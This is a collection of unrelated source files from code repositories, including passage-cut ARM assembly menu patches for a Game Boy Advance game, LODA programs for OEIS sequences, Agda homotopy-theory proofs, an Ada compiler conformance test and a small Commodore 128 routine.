the bottom cmp r4,#1 bne .inv_handle_item_movement_end str r0,[sp,#0xC] //Save the fact that we should move the item to the bottom mov r0,sp mov r1,#0 //Copy from the arrangements mov r2,#0x10 add r2,r2,r0 //Load the item's arrangements in bl main_menu_hacks.new_inventory_copy_arrangement + mov r0,sp bl main_menu_hacks.new_inventory_deposit_swap_arrangement ldr r0,[sp,#0xC] cmp r0,#0 beq + sub r0,r0,#1 str r0,[sp,#8] //Put the target in the movement data mov r0,sp mov r1,#1 //Copy to the arrangements mov r2,#0x10 add r2,r2,r0 //Move the item's arrangement to the bottom bl main_menu_hacks.new_inventory_copy_arrangement + bl main_menu_hacks.store_arrangements_buffer mov r0,#0 //Return the fact that the size changed .inv_handle_item_movement_end: add sp,#0x50 pop {r4,pc} //============================================================================================= // This hack handles using and throwing inventory items //============================================================================================= .inv_use_throw: push {r2,lr} mov r2,#0 //If the size stays the same, no operation to be done bl .inv_handle_item_movement cmp r0,#0 bne + ldr r0,=#0x2015D98 ldrb r1,[r0,#0] mov r2,#4 //Prevents glitch in which the new currently selected item's data would show up for the top OAM orr r1,r2 strb r1,[r0,#0] + pop {r2,pc} //============================================================================================= // This hack handles giving inventory items (It's a special case because you can give them // to the same character and change the inventory's order without changing its size) //============================================================================================= .inv_give: push {r2,lr} mov r2,#1 //If the size stays the same, move the item to the bottom bl .inv_handle_item_movement pop {r2,pc} //============================================================================================= // These hacks save which entries are valid and then update them. // This allows changing the palette of certain entries instead of reprinting them //============================================================================================= .sell_confirmed_a: push {lr} add sp,#-0x10 bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0xC] bl $8050218 add sp,#0x10 pop {pc} .sell_confirmed_equipment_a: push {lr} add sp,#-0x10 bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0xC] bl $805030C add sp,#0x10 pop {pc} //============================================================================================= // These hacks update the palette of certain entries instead of reprinting them. // They also remove the sold item and only print the one at the bottom (if it exists) //============================================================================================= .sell_equipment_confirmed_printing_pressed_a: push {lr} mov r0,sp add r0,#0x1C bl main_menu_hacks.printing_pressed_a_update_grey pop {pc} .sell_confirmed_printing_pressed_a: push {lr} mov r0,sp add r0,#0x14 bl main_menu_hacks.printing_pressed_a_update_grey pop {pc} //============================================================================================= // These hacks update the palette of certain entries instead of reprinting them //============================================================================================= .psi_used: push {r4,lr} add sp,#-4 mov r4,r0 bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now mov r0,r4 bl $8052864 //Do the PSI used routine... mov r0,r4 bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x201697A bl main_menu_hacks.change_psi_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {r4,pc} .buy_a: push {lr} add sp,#-4 bl .main bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now mov r0,r4 bl $8052F9C //Do the confirming buying routine... bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x2016992 bl main_menu_hacks.change_shop_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {pc} .buy_lr: push {lr} add sp,#-4 bl .main bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now bl main_menu_hacks.prepare_swap_char_buying bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x2016992 bl main_menu_hacks.change_shop_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {pc} .sell_after_buy_a: push {r4,lr} mov r4,r5 //Cover the -selling old equipment bl .buy_a //after buying new one- case pop {r4,pc} //============================================================================================= // This hack allows input reading only if the game's done printing. // If it is done, then it saves the current position of the cursor in order to // only remove what is needed without reprinting the entire menu //============================================================================================= .deposit_a: push {lr} bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + add sp,#-0xC //Prepare the item's index for the deposit-movement routine bl main_menu_hacks.store_menu_movement_data bl .main mov r0,r4 //Normal stuff the game expects from us bl $804F1D8 add sp,#0xC + pop {pc} //============================================================================================= // This hack moves the items in the deposit menu around instead of reprinting them //============================================================================================= .deposit_printing_pressed_a: push {lr} mov r0,sp add r0,#0x1C bl main_menu_hacks.new_inventory_deposit_swap_arrangement bl main_menu_hacks.store_arrangements_buffer pop {pc} //============================================================================================= // This hack allows input reading only if the game's done printing. // If it is done, then it saves the current position of the cursor in order to // only remove what is needed without reprinting the entire menu // It also checks whether there is space in the character's inventory //============================================================================================= .withdraw_a: push {lr} add sp,#-0xC bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.check_if_printed cmp r1,#0 //Do the thing only IF we're done printing. bne .withdraw_a_end //Prevents issues with arrangements not being there ldr r0,=#0x201A294 //Check if the inventory is full. If it is, then the game won't print again and we need to let it do its thing. We need to manually increment this, as the original devs forgot to do it. ldrh r1,[r0,#0] cmp r1,#0x10 bge + add r1,#1 strh r1,[r0,#0] bl .main + mov r0,r5 //Normal stuff the game expects from us bl $804F294 .withdraw_a_end: add sp,#0xC pop {pc} //============================================================================================= // This hack moves the items in the withdraw menu around instead of reprinting them //============================================================================================= .withdraw_printing_pressed_a: push {lr} mov r0,sp add r0,#0x14 bl main_menu_hacks.printing_pressed_a cmp r0,#1 bne + //Store the arrangements buffer if it returned 1 bl main_menu_hacks.store_arrangements_buffer + pop {pc} //============================================================================================= // This set of hack tries to improve the performances of menus that may use most of the CPU // in certain specific situations (Status and Equip). //============================================================================================= improve_performances_menus: //============================================================================================= // This hack prints "Weapon", "Body", "Head", "Other" and "Skills" in VRAM. //============================================================================================= .status_vram_equip_descriptors: push {lr} add sp,#-4 str r4,[sp,#0] bl $8047B9C //Base code, orders printing "PP" mov r0,#0x52 bl $80486A0 //Load up "Weapon" str r4,[sp,#0] mov r1,#9 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x54 bl $80486A0 //Load up "Body" str r4,[sp,#0] mov r1,#9 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x53 bl $80486A0 //Load up "Head" str r4,[sp,#0] mov r1,#9 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x55 bl $80486A0 //Load up "Other" str r4,[sp,#0] mov r1,#9 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x56 bl $80486A0 //Load up "Skills" str r4,[sp,#0] mov r1,#9 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing add sp,#4 pop {pc} //============================================================================================= // This hack prints "Weapon", "Body", "Head" and "Other" in VRAM. //============================================================================================= .equipment_vram_equip_descriptors: push {lr} add sp,#-4 mov r4,#1 mov r5,#1 neg r5,r5 mov r0,#0x52 bl $80486A0 //Load up "Weapon" str r4,[sp,#0] mov r1,#0xB mov r2,#2 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x54 bl $80486A0 //Load up "Body" str r4,[sp,#0] mov r1,#0xB mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x53 bl $80486A0 //Load up "Head" str r4,[sp,#0] mov r1,#0xB mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x55 bl $80486A0 //Load up "Other" str r4,[sp,#0] mov r1,#0xB mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing ldr r0,=#0x201A51B mov r1,#0 add sp,#4 pop {pc} //============================================================================================= // Avoid reprinting stuff we don't need to when closing the equipment submenu //============================================================================================= .equip_avoid_left_reprint: push {lr} ldr r0,=#0x201A51B mov r1,#4 strb r1,[r0,#0] //Specify no reprinting for left column bl $8046D90 //Call printing ldr r0,=#0x201A51B mov r1,#0 strb r1,[r0,#0] //Restore previous value pop {pc} //============================================================================================= // This set of hack removes the lag from the "Delete all saves" menu. // To access it, press LOAD in the main menu with L + R + START + A held down //============================================================================================= fix_lag_delete_all: //============================================================================================= // This hack makes it so the "LV" icon has the same priority as the other OAM entries. // Otherwise it could pop over the backgorund //============================================================================================= .change_level_priority: mov r6,#2 str r6,[sp,#0] mov r6,#1 //Set r6 to 1 because the rest of the function expects it to be 1 bx lr //============================================================================================= // This hack makes it so BG1 (the VRAM BG) is 5 pixels lower. // It makes it possible to match the original text. //============================================================================================= .change_bg1_coords: ldr r1,=#0x2016028 cmp r0,#9 bne + ldrh r0,[r1,#0x1C] //Move the Y axys by 5 pixels mov r0,#3 strh r0,[r1,#0x1C] mov r0,#9 + cmp r0,#8 bx lr //============================================================================================= // This hack adds VRAM entries for the text in the "Delete all saves" menu. // It also hides BG1 //============================================================================================= .add_extra_vram: push {lr} add sp,#-4 ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#9 bne + ldr r0,=#0x2016028 ldrh r1,[r0,#0xC] mov r2,#3 orr r1,r2 strh r1,[r0,#0xC] //Hide BG1 until we need to show it mov r5,#1 neg r5,r5 mov r4,#0xF //Generic text stuff mov r0,#0x1D //"Delete all saves" text bl $80486A0 str r4,[sp,#0] mov r1,#0x3 mov r2,#4 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x21 //"Is that okay" text bl $80486A0 str r4,[sp,#0] mov r1,#0x3 mov r2,#5 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x03 //"Yes" text bl $80486A0 str r4,[sp,#0] mov r1,#0x7 mov r2,#6 mov r3,r5 bl $8047B9C //Order printing mov r0,#0x04 //"No" text bl $80486A0 str r4,[sp,#0] mov r1,#0xB mov r2,#6 mov r3,r5 bl $8047B9C //Order printing mov r0,#9 + add sp,#4 pop {pc} //============================================================================================= // This hack hides BG1 (the VRAM backgorund). // Used when Yes or No has been pressed //============================================================================================= .hide_background: push {r1-r2} ldr r0,=#0x2016028 ldrh r1,[r0,#0xC] mov r2,#3 orr r1,r2 strh r1,[r0,#0xC] //Hide back VRAM content in BG1 mov r0,#0 pop {r1-r2} bx lr //============================================================================================= // This hack changes the BG0 and the BG1 priority for the "Delete all saves" menu. // BG1 (VRAM text) goes over BG0 (submenu window). // The default code goes on to print some OAM entries, which are skipped // in the "Delete all saves" menu. //============================================================================================= .change_background_priority_remove_oam: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#0x10 //Is this the saving menu? bne + ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#9 //Is this the "Delete all files" menu? bne + ldrh r0,[r4,#0xA] mov r1,#1 orr r0,r1 //Change BG0 priority to 1 strh r0,[r4,#0xA] ldrh r0,[r4,#0xC] mov r1,#4 neg r1,r1 and r0,r1 //Change BG1 priority to 0. Bring forth the text written in VRAM strh r0,[r4,#0xC] pop {r0} ldr r0,=#0x8045DE7 bx r0 //Sadly, we need to skip part of the routine and this is the best way that came to mind... + ldr r0,=#0x41CC //Default code add r4,r4,r0 pop {pc} //============================================================================================= // This hack removes the cursor while the "Delete all files" menu is loading up //============================================================================================= .remove_starting_cursor: push {lr} add sp,#-4 ldr r3,=#0x201A288 ldrb r3,[r3,#0] cmp r3,#0x10 bne + ldr r3,=#0x2004100 ldrb r3,[r3,#0] cmp r3,#0x9 bne + ldr r3,=#0x201A202 //0x2016028 + 0x41C6 ldrb r3,[r3,#0] cmp r3,#0x4 bne + b .remove_starting_cursor_end + ldr r3,[sp,#8] str r3,[sp,#0] mov r3,#0x20 //Function parameters bl $8046A28 .remove_starting_cursor_end: add sp,#4 pop {pc} //============================================================================================= // This hack makes it so the window is loaded up for the "Delete all files" menu only after // the fadein is over //============================================================================================= .hack: push {lr} push {r0-r3} ldr r2,=#0x2016028 ldr r0,=#0x41DA add r3,r2,r0 mov r1,#0x12 sub r1,r0,r1 add r0,r1,r2 //Load the submenu we're in. 5 is a sub-submenu ldrh r1,[r0,#4] //Load the subscreen we're in. 0x1D is the "Delete all saves" one. cmp r1,#0x1D bne + ldrh r1,[r0,#0] cmp r1,#5 bne + ldrb r0,[r3,#0] //Make it so this is properly added only once we can get the input cmp r0,#4 bne + mov r1,#0x86 add r1,r1,r3 ldrb r1,[r1,#0] cmp r1,#0x10 //Is this the file selection menu? bne + mov r1,#0x16 add r1,r1,r3 ldrh r0,[r1,#0] cmp r0,#0x16 //Have a 6 frames windows for the fadein to properly end bne + mov r0,#5 strb r0,[r3,#0] + pop {r0-r3} ldrb r0,[r0,#0] //Clobbered code lsl r0,r0,#0x1F pop {pc}
02-Tooling/02-log-the-class.applescript
Rolias/discover-applescript
0
3869
<reponame>Rolias/discover-applescript tell application "System Preferences" set nameList to the name of every window set theClass to class of nameList log theClass end tell
oeis/316/A316131.asm
neoneye/loda-programs
11
163526
; A316131: Decimal expansion of the least x such that 1/x + 1/(x+1) + 1/(x+3) = 1, negated. ; Submitted by <NAME> ; 2,5,1,4,1,3,6,9,2,9,3,3,5,2,9,1,0,7,2,6,9,3,7,7,4,8,6,6,9,6,2,2,1,7,4,7,8,0,5,2,4,7,6,3,0,0,7,4,5,4,0,4,5,9,2,2,2,1,6,7,1,3,9,4,2,0,9,3,4,1,6,5,7,2,9,1,7,7,3,5,9,0,7,5,8,0 mov $1,2 mov $3,$0 mul $3,4 lpb $3 add $6,$2 add $1,$6 add $1,$2 add $2,$1 mov $5,$1 mov $1,$6 mul $1,2 mul $2,2 sub $3,1 add $5,$2 add $6,$5 lpe mov $4,10 pow $4,$0 div $2,$4 cmp $5,0 add $2,$5 div $1,$2 mov $0,$1 mod $0,10
lemmas-progress.agda
hazelgrove/hazelnat-myth-
1
9268
<filename>lemmas-progress.agda open import Nat open import Prelude open import List open import contexts open import core open import lemmas-env module lemmas-progress where typ-inhabitance-pres : ∀{Δ Σ' Γ E e τ} → Δ , Σ' , Γ ⊢ E → Δ , Σ' , Γ ⊢ e :: τ → Σ[ r ∈ result ] (Δ , Σ' ⊢ r ·: τ) typ-inhabitance-pres Γ⊢E ta@(TAFix e-ta) = _ , (TAFix Γ⊢E ta) typ-inhabitance-pres Γ⊢E (TAVar x∈Γ) with env-all-Γ Γ⊢E x∈Γ ... | _ , x∈E , r-ta = _ , r-ta typ-inhabitance-pres Γ⊢E (TAApp _ f-ta arg-ta) with typ-inhabitance-pres Γ⊢E f-ta | typ-inhabitance-pres Γ⊢E arg-ta ... | _ , rf-ta | _ , rarg-ta = _ , TAApp rf-ta rarg-ta typ-inhabitance-pres Γ⊢E TAUnit = _ , TAUnit typ-inhabitance-pres Γ⊢E (TAPair _ ta1 ta2) with typ-inhabitance-pres Γ⊢E ta1 | typ-inhabitance-pres Γ⊢E ta2 ... | _ , r-ta1 | _ , r-ta2 = _ , TAPair r-ta1 r-ta2 typ-inhabitance-pres Γ⊢E (TAFst ta) with typ-inhabitance-pres Γ⊢E ta ... | _ , r-ta = _ , TAFst r-ta typ-inhabitance-pres Γ⊢E (TASnd ta) with typ-inhabitance-pres Γ⊢E ta ... | _ , r-ta = _ , TASnd r-ta typ-inhabitance-pres Γ⊢E (TACtor d∈Σ' c∈d e-ta) with typ-inhabitance-pres Γ⊢E e-ta ... | _ , r-ta = _ , TACtor d∈Σ' c∈d r-ta typ-inhabitance-pres Γ⊢E (TACase d∈Σ' e-ta h1 h2) with typ-inhabitance-pres Γ⊢E e-ta ... | _ , r-ta = _ , TACase d∈Σ' Γ⊢E r-ta h1 λ form → let _ , _ , _ , h5 , h6 = h2 form in _ , h5 , h6 typ-inhabitance-pres Γ⊢E (TAHole u∈Δ) = _ , TAHole u∈Δ Γ⊢E typ-inhabitance-pres Γ⊢E (TAAsrt _ e-ta1 e-ta2) = _ , TAUnit
Cubical/Homotopy/PointedFibration.agda
Schippmunk/cubical
0
17473
{-# OPTIONS --cubical --safe #-} module Cubical.Homotopy.PointedFibration where open import Cubical.Core.Everything open import Cubical.Data.Nat open import Cubical.Foundations.Prelude open import Cubical.Foundations.Pointed open import Cubical.Foundations.Isomorphism open import Cubical.Foundations.GroupoidLaws open import Cubical.Foundations.Function open import Cubical.Foundations.Equiv open import Cubical.Foundations.HLevels open import Cubical.Homotopy.Base open import Cubical.Homotopy.Connected open import Cubical.Homotopy.Loopspace open import Cubical.Data.Nat open import Cubical.Data.Nat.Order open LowerBoundedInduction open import Cubical.Data.Sigma open import Cubical.Data.Unit open import Cubical.Foundations.HLevels' open import Cubical.Foundations.Structure private variable ℓ ℓ' : Level -- Different versions of Theorem 9. We abstract ℓ' again here -- to avoid some issues with implicit arguments. module _ {ℓ' : Level} (X : Pointed ℓ) where -- block of private stuff to reduce redundancy in the proof of the theorem private module _ (n k : ℕ) where -- A, together with its paramenters/context, is just the statement of the theorem. A : Type (ℓ-max ℓ (ℓ-suc ℓ')) A = (isConnX : isConnected (k + 1) (typ X)) → (Y : typ X → Σ[ Yx ∈ Pointed ℓ' ] (isOfHLevel (n + k) (typ Yx))) → isOfHLevel (n) (Π∙ X (λ x → typ (fst (Y x))) (pt (fst (Y (pt X))))) module PointSec (n k : ℕ) (isConnX : isConnected (k + 1) (typ X)) (Y : typ X → Σ[ Yx ∈ Pointed ℓ' ] (isOfHLevel (n + k) (typ Yx))) where -- The type of pointed sections (x : X) →ₚₜ Y x sec∙ : Type (ℓ-max ℓ ℓ') sec∙ = Π∙ X (λ x → typ (fst (Y x))) (pt (fst (Y (pt X)))) -- Note that if isOfHLevel had a uniform interface for n ≥ 1 then this should be a part of the where -- clause in the theorem. module PointSecProps where -- Given s, the type of pointed sections (x : X) →ₚₜ Ω(Y x, s x) sec∙' : (s : sec∙) → Type (ℓ-max ℓ ℓ') sec∙' s = Π∙ X (λ x → s .fst x ≡ s .fst x) refl -- towards sec∙' s ≃ (s ≡ s) secIso : (s : sec∙) → Iso (sec∙' s) (s ∙∼ s) secIso (_ , s₂) = iso (λ (H , p) → H , p ∙ sym (rCancel s₂)) (λ (H , p) → H , p ∙ rCancel s₂) (λ (H , p) → ΣPathP (refl , sym (assoc p (rCancel s₂) (sym (rCancel s₂))) ∙∙ cong (p ∙_) (rCancel (rCancel s₂)) ∙∙ sym (rUnit p))) (λ (H , p) → ΣPathP (refl , sym (assoc p (sym (rCancel s₂)) (rCancel s₂)) ∙∙ cong (p ∙_) (lCancel (rCancel s₂)) ∙∙ sym (rUnit p))) -- compose the equivalences sec≃ : (s : sec∙) → sec∙' s ≃ (s ≡ s) sec≃ = λ (s : sec∙) → compEquiv (isoToEquiv (secIso s)) (funExt∙≃ s s) -- p.9 Theorem 3 of Higher Types in HoTT sec∙Trunc : {n k : ℕ} → A (n + 1) (k) sec∙Trunc {n = 0} {k} isConnX Y = isContr→isProp (s₀ , λ s → funExt∙ (s₀∙∼s s)) where sec∙ : Type (ℓ-max ℓ ℓ') sec∙ = Π∙ X (λ x → typ (fst (Y x))) (pt (fst (Y (pt X)))) module _ where -- trivial section s₀ : sec∙ s₀ = (λ a → pt (fst (Y a))) , refl -- abbreviations s₀₁ = fst s₀ ⋆ = pt X -- the k-connected map 𝟙 → X f : Unit → typ X f tt = ⋆ -- proof that f is k-connected fkconn : isConnectedFun k f fkconn = UnitConnectedFunElim isConnX f -- notation module _ (s : sec∙) where s₁ = fst s s₂ = snd s -- the regular homotopies between the trivial section and s coincide with the -- identity type s₀₁ ⋆ ≡ s₁ ⋆ -- the Unit type will be eliminated in the next step IsoHtpy𝟙Idpt : Iso (s₀₁ ∼ s₁) (Unit → s₀₁ ⋆ ≡ s₁ ⋆) IsoHtpy𝟙Idpt = elim.isIsoPrecompose f k (λ (x : typ X) → (s₀₁ x ≡ s₁ x) , HL← (HL→ (snd (Y x)) (s₀₁ x) (s₁ x))) fkconn IsoHtpyIdpt : Iso (s₀₁ ∼ s₁) (s₀₁ ⋆ ≡ s₁ ⋆) IsoHtpyIdpt = compIso IsoHtpy𝟙Idpt (𝟙-universal (s₀₁ ⋆ ≡ s₁ ⋆)) -- judgementally, -- (s₀ ∙∼ s) ≡ (Σ[ h ∈ (s₀₁ ∼ s₁) ] (h ⋆ ≡ (snd s₀) ∙ s₂ ⁻¹)) -- The right inverse of IsoHtpyIdpt gives such a pointed homotopy s₀∙∼s : s₀ ∙∼ s fst s₀∙∼s = Iso.inv IsoHtpyIdpt (refl ∙ s₂ ⁻¹) snd s₀∙∼s = Iso.inv IsoHtpyIdpt (refl ∙ s₂ ⁻¹) ⋆ ≡⟨ refl ⟩ Iso.fun IsoHtpyIdpt (Iso.inv IsoHtpyIdpt (refl ∙ s₂ ⁻¹)) ≡⟨ Iso.rightInv IsoHtpyIdpt (refl ∙ s₂ ⁻¹) ⟩ refl ∙ s₂ ⁻¹ ∎ sec∙Trunc {n = 1} {k} isConnX Y = truncSelfId→truncId {n = 0} (λ s → EquivPresHLevel {n = 1} (sec≃ s) (sec∙Trunc {n = 0} {k} isConnX λ x → ((s .fst x ≡ s .fst x) , refl) , (snd (Y x) (s .fst x) (s .fst x)))) where open PointSec 2 k isConnX Y open PointSecProps sec∙Trunc {n = suc (suc m)} {k} isConnX Y = -- suffices to show that loop spaces are truncated truncSelfId→truncId -- each self-identity type of a section s is equivalent to a type of sections λ s → EquivPresHLevel (sec≃ s) -- that the induction hypothesis can be applied to (sec∙Trunc {n = suc m} isConnX λ x → ((s .fst x ≡ s .fst x) , refl) , snd (Y x) (s .fst x) (s .fst x)) where open PointSec (suc (suc m) + 1) k isConnX Y open PointSecProps -- alternate version of sec∙Trunc with bound on n instead of adding a bound sec∙Trunc' : {n k : ℕ} (1≤n : 1 ≤ n) → A n k sec∙Trunc' {n = n} {k = k} 1≤n = +Type→≤Type 1 (λ n → A n k) (λ r isConnX Y → sec∙Trunc {n = r} {k = k} isConnX Y) n 1≤n module _ (X : Pointed ℓ) (Y : Pointed ℓ') where pointed-maps-truncated : {n k : ℕ} → 1 ≤ n → isConnected (k + 1) (typ X) → isOfHLevel (n + k) (typ Y) → isOfHLevel (n) (X →∙ Y) pointed-maps-truncated {n = n} 1≤n connX truncY = sec∙Trunc' X 1≤n connX λ _ → Y , truncY
oeis/080/A080097.asm
neoneye/loda-programs
11
98934
<filename>oeis/080/A080097.asm ; A080097: a(n) = Fibonacci(n+2)^2 - 1. ; Submitted by <NAME>(s2) ; 0,3,8,24,63,168,440,1155,3024,7920,20735,54288,142128,372099,974168,2550408,6677055,17480760,45765224,119814915,313679520,821223648,2149991423,5628750624,14736260448,38580030723,101003831720,264431464440,692290561599,1812440220360,4745030099480,12422650078083,32522920134768,85146110326224,222915410843903,583600122205488,1527884955772560,4000054745112195,10472279279564024,27416783093579880,71778070001175615,187917426909946968,491974210728665288,1288005205276048899,3372041405099481408 mov $1,1 mov $2,1 lpb $0 sub $0,2 add $1,$2 add $2,$1 lpe lpb $0 sub $0,1 add $2,$1 lpe pow $2,2 mov $0,$2 sub $0,1
Base/Denotation/Notation.agda
inc-lc/ilc-agda
10
14424
<reponame>inc-lc/ilc-agda<gh_stars>1-10 ------------------------------------------------------------------------ -- INCREMENTAL λ-CALCULUS -- -- Overloading ⟦_⟧ notation -- -- This module defines a general mechanism for overloading the -- ⟦_⟧ notation, using Agda’s instance arguments. ------------------------------------------------------------------------ module Base.Denotation.Notation where open import Level record Meaning (Syntax : Set) {ℓ : Level} : Set (suc ℓ) where constructor meaning field {Semantics} : Set ℓ ⟨_⟩⟦_⟧ : Syntax → Semantics open Meaning {{...}} public renaming (⟨_⟩⟦_⟧ to ⟦_⟧) open Meaning public using (⟨_⟩⟦_⟧)
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c2/c24203a.ada
best08618/asylo
7
25871
-- C24203A.ADA -- Grant of Unlimited Rights -- -- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687, -- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained -- unlimited rights in the software and documentation contained herein. -- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making -- this public release, the Government intends to confer upon all -- recipients unlimited rights equal to those held by the Government. -- These rights include rights to use, duplicate, release or disclose the -- released technical data and computer software in whole or in part, in -- any manner and for any purpose whatsoever, and to have or permit others -- to do so. -- -- DISCLAIMER -- -- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR -- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED -- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE -- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE -- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A -- PARTICULAR PURPOSE OF SAID MATERIAL. --* -- CHECK THAT BASED INTEGER LITERALS WITH BASES 2 THROUGH 16 ALL -- YIELD CORRECT VALUES. -- JRK 12/12/79 -- JRK 10/27/80 -- JWC 6/28/85 RENAMED FROM C24103A.ADA WITH REPORT; PROCEDURE C24203A IS USE REPORT; I : INTEGER := 200; BEGIN TEST ("C24203A", "VALUES OF BASED INTEGER LITERALS"); IF 2#11# /= 3 THEN FAILED ("INCORRECT VALUE FOR BASE 2 INTEGER"); END IF; IF 3#22# /= 8 THEN FAILED ("INCORRECT VALUE FOR BASE 3 INTEGER"); END IF; IF 4#33# /= 15 THEN FAILED ("INCORRECT VALUE FOR BASE 4 INTEGER"); END IF; IF 5#44# /= 24 THEN FAILED ("INCORRECT VALUE FOR BASE 5 INTEGER"); END IF; IF 6#55# /= 35 THEN FAILED ("INCORRECT VALUE FOR BASE 6 INTEGER"); END IF; IF 7#66# /= 48 THEN FAILED ("INCORRECT VALUE FOR BASE 7 INTEGER"); END IF; IF 8#77# /= 63 THEN FAILED ("INCORRECT VALUE FOR BASE 8 INTEGER"); END IF; IF 9#88# /= 80 THEN FAILED ("INCORRECT VALUE FOR BASE 9 INTEGER"); END IF; IF 10#99# /= 99 THEN FAILED ("INCORRECT VALUE FOR BASE 10 INTEGER"); END IF; IF 11#AA# /= 120 THEN FAILED ("INCORRECT VALUE FOR BASE 11 INTEGER"); END IF; IF 12#BB# /= 143 THEN FAILED ("INCORRECT VALUE FOR BASE 12 INTEGER"); END IF; IF 13#CC# /= 168 THEN FAILED ("INCORRECT VALUE FOR BASE 13 INTEGER"); END IF; IF 14#DD# /= 195 THEN FAILED ("INCORRECT VALUE FOR BASE 14 INTEGER"); END IF; IF 15#EE# /= 224 THEN FAILED ("INCORRECT VALUE FOR BASE 15 INTEGER"); END IF; IF 16#FF# /= 255 THEN FAILED ("INCORRECT VALUE FOR BASE 16 INTEGER"); END IF; ---------------------------------------- IF 7#66#E1 /= 336 THEN FAILED ("INCORRECT VALUE FOR BASE 7 INTEGER " & "WITH EXPONENT"); END IF; RESULT; END C24203A;
libsrc/target/c128/outvdc.asm
jpoikela/z88dk
38
7623
; ;Based on the SG C Tools 1.7 ;(C) 1993 <NAME> ; ;$Id: outvdc.asm,v 1.3 2016-06-16 21:13:07 dom Exp $ ; ;set vdc register SECTION code_clib PUBLIC outvdc PUBLIC _outvdc EXTERN outvdc_callee EXTERN ASMDISP_OUTVDC_CALLEE outvdc: _outvdc: pop bc ;return address pop de ;data pop hl ;vdc register to write push hl push de push bc jp outvdc_callee + ASMDISP_OUTVDC_CALLEE
oeis/141/A141910.asm
neoneye/loda-programs
11
89297
; A141910: Primes congruent to 6 mod 23. ; 29,167,397,443,673,719,811,857,1087,1409,1777,1823,2053,2099,2237,2467,2789,2927,3019,3203,3433,3571,3617,3709,3847,4261,4583,4721,4813,4951,5227,5273,5503,5641,5779,6101,6469,6607,6653,6791,6883,7159,7297,7481,7573,7757,8171,8263,8447,8539,8677,8861,8999,9091,9137,9413,9551,9643,9689,9781,10103,10333,11069,11161,11299,11437,11483,11621,11897,12541,13001,13093,13553,13691,13829,13921,13967,14197,14243,14519,14657,14887,15439,15761,15991,16267,16451,17417,17509,17923,18061,18199,18521,18797 mov $2,$0 add $2,1 pow $2,2 add $2,1 pow $2,2 lpb $2 add $1,5 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,18 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe div $1,2 sub $1,22 mul $1,2 add $1,27 mov $0,$1
programs/oeis/182/A182386.asm
jmorken/loda
1
243612
<reponame>jmorken/loda ; A182386: a(0) = 1, a(n) = 1 - n * a(n-1). ; 1,0,1,-2,9,-44,265,-1854,14833,-133496,1334961,-14684570,176214841,-2290792932,32071101049,-481066515734,7697064251745,-130850092279664,2355301661033953,-44750731559645106 mov $1,1 sub $1,$0 sub $0,$0 sub $1,1 sub $0,$1 add $0,1 mov $2,1 mov $4,1 lpb $0 sub $0,1 add $1,1 mov $3,$2 sub $4,2 add $4,$2 mul $1,$4 lpe add $1,$3
assembly/asmsbs3e/chapter10/eatterm/eatterm.asm
ash1247/DocumentsWindows
5
97871
